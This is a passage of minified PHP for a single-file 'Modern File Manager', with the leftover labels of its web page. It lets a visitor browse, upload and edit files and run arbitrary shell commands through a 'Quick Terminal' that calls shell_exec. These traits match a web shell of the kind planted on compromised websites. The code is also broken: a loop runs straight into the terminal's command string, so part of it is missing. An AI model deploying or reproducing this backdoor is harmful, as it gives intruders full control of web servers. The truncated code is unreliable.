'code-slash','html'=>'filetype-html','css'=>'filetype-css','js'=>'filetype-js','json'=>'filetype-json','txt'=>'file-text','md'=>'markdown','pdf'=>'file-pdf','doc'=>'file-word','docx'=>'file-word','xls'=>'file-excel','xlsx'=>'file-excel','zip'=>'file-zip','rar'=>'file-zip','tar'=>'file-zip','gz'=>'file-zip','jpg'=>'file-image','jpeg'=>'file-image','png'=>'file-image','gif'=>'file-image','svg'=>'file-image','mp3'=>'file-music','wav'=>'file-music','mp4'=>'file-play','avi'=>'file-play','sql'=>'database','log'=>'file-text' ];return isset($icons[$ext])? $icons[$ext]:'file-earmark';}function format_size($bytes){if($bytes<0)return '0 B';$units=['B','KB','MB','GB','TB'];$i=0;while($bytes>=1024 && $i<4){$bytes/=1024;$i++;}return round($bytes,2). ' ' . $units[$i];}function get_mime_type($file){if(!file_exists($file)|| is_dir($file))return '';$ext=strtolower(pathinfo($file,PATHINFO_EXTENSION));$mimes=[ 'txt'=>'text/plain','html'=>'text/html','php'=>'text/plain','css'=>'text/css','js'=>'text/javascript','json'=>'application/json','xml'=>'application/xml','jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif','svg'=>'image/svg+xml','pdf'=>'application/pdf' ];return isset($mimes[$ext])? $mimes[$ext]:'application/octet-stream';}if($_SERVER['REQUEST_METHOD']==='POST' && isset($_POST['action'])){$action=$_POST['action'];if($action==='upload' && isset($_FILES['files'])){$files=$_FILES['files'];$uploadCount=0;if(is_array($files['name'])){for($i=0;$i&1";$result=shell_exec($full_cmd);$terminal_output=$result !==null ? $result:"Perintah tidak menghasilkan output";}else{$terminal_output="shell_exec tidak diizinkan pada server ini";}}}if($action !=='terminal'){$params=array('open'=>'');if($cwd !==$BASE_START)$params['p']=$cwd;if($msg)$params['msg']=$msg;if($error)$params['error']=$error;header("Location:?" . http_build_query($params));exit;}}$editFile=null;if(isset($_GET['edit'])){$ep=safe_real($cwd . '/' . $_GET['edit']);if($ep && is_file($ep)&& is_readable($ep)){$editFile=$ep;}}$items=scandir($cwd);$folders=array();$files=array();foreach($items as $item){if($item==='.' || $item==='..')continue;$fullPath=$cwd . '/' . $item;if(is_dir($fullPath)){$folders[]=$item;}else{$files[]=$item;}}natcasesort($folders);natcasesort($files);$allItems=array_merge($folders,$files);function getBreadcrumbs($path){$parts=explode('/',trim($path,'/'));$breadcrumbs=array();$accum='';foreach($parts as $part){if($part==='')continue;$accum .='/' . $part;$breadcrumbs[]=array('name'=>$part,'path'=>$accum);}return $breadcrumbs;}$serverInfo='Server:' . php_uname('s'). ' ' . php_uname('r');$phpVersion='PHP ' . phpversion();if(isset($_GET['msg'])){$msg=$_GET['msg'];}if(isset($_GET['error'])){$error=$_GET['error'];}?>Modern File Manager

File Manager

modern · elegant · responsive

Quick Terminal
Output:
Editing:
Cancel
File Explorer
items
NameTypeSizePermissionsModifiedActions
Folder':'' . strtoupper(pathinfo($item,PATHINFO_EXTENSION));?>
Empty Directory

Create a new folder or upload files to get started

Modern PHP File Manager · Compatible with PHP 5.6 to 8.3+